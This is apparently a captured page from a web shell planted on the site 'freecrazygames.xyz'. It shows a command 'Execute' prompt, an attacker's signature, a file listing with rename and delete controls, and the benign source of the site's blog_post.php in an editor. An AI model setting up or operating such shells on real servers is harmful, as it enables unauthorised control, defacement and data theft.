home
/
aioutajg
/
freecrazygames.xyz
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
.htaccess
2.48 KB
Rename
Delete
.htaccess.zip
16.40 KB
Rename
Delete
blog_post.php
3.34 KB
Rename
Delete
database_connection.php
672 bytes
Rename
Delete
error_log
9.52 KB
Rename
Delete
footer.php
299 bytes
Rename
Delete
header.php
1.15 KB
Rename
Delete
index.php
2.31 KB
Rename
Delete
install.php
801 bytes
Rename
Delete
login.php
4.26 KB
Rename
Delete
logout.php
919 bytes
Rename
Delete
register.php
5.44 KB
Rename
Delete
script.js
1.76 KB
Rename
Delete
style.css
7.31 KB
Rename
Delete
<?php // --- Single Blog Post Page --- // Displays the full content of a single blog post based on its ID. require_once 'database_connection.php'; // Need DB access $post = null; $pageTitle = 'Blog Post'; // Default title $metaDescription = ''; // Default description $postError = ''; // --- Get Post ID from URL --- $postId = filter_input(INPUT_GET, 'id', FILTER_VALIDATE_INT); // Sanitize input if (!$postId) { $postError = "Invalid post ID."; // Optional: Redirect to index or a 404 page // header("Location: index.php"); // exit; } else { // --- Fetch the Specific Post --- try { $stmt = $pdo->prepare("SELECT id, title, content, created_at FROM posts WHERE id = ?"); $stmt->execute([$postId]); $post = $stmt->fetch(); if (!$post) { $postError = "Blog post not found."; // Optional: Set a 404 header // header("HTTP/1.0 404 Not Found"); } else { // Set dynamic page title and description $pageTitle = htmlspecialchars($post['title']); // Create a short description from content (first 160 chars) $metaDescription = htmlspecialchars(substr(strip_tags($post['content']), 0, 160)); } } catch (PDOException $e) { $postError = "An error occurred while fetching the post."; // Log the error: error_log("Error fetching post ID $postId: " . $e->getMessage()); } } // Include the header (passes $pageTitle and $metaDescription) include 'header.php'; ?> <div class="max-w-3xl mx-auto bg-white p-6 md:p-8 rounded-lg shadow-md my-8"> <?php if ($postError): ?> <div class="bg-red-100 border border-red-400 text-red-700 px-4 py-3 rounded-md relative" role="alert"> <strong class="font-bold">Error:</strong> <span class="block sm:inline"><?php echo $postError; ?></span> </div> <p class="mt-4"><a href="index.php#blog" class="text-blue-600 hover:underline">« Back to Blog</a></p> <?php elseif ($post): ?> <article> <h1 class="text-3xl md:text-4xl font-bold text-gray-800 mb-4"><?php echo htmlspecialchars($post['title']); ?></h1> <p class="text-sm text-gray-500 mb-6"> Posted on: <?php echo date('F j, Y \a\t g:i a', strtotime($post['created_at'])); ?> </p> <div class="prose max-w-none text-gray-700 leading-relaxed"> <?php // IMPORTANT: Outputting HTML content requires sanitization if users can input HTML. // If content is plain text or trusted Markdown, this is okay. // If users can submit rich text, use a library like HTML Purifier. echo nl2br(htmlspecialchars($post['content'])); // Basic: Convert newlines to <br>, escape HTML ?> </div> </article> <hr class="my-6"> <a href="index.php#blog" class="text-blue-600 hover:underline">« Back to Blog List</a> <?php else: ?> <p class="text-center text-gray-600">Post could not be loaded.</p> <p class="mt-4 text-center"><a href="index.php#blog" class="text-blue-600 hover:underline">« Back to Blog</a></p> <?php endif; ?> </div> <?php // Include the footer include 'footer.php'; ?>
Save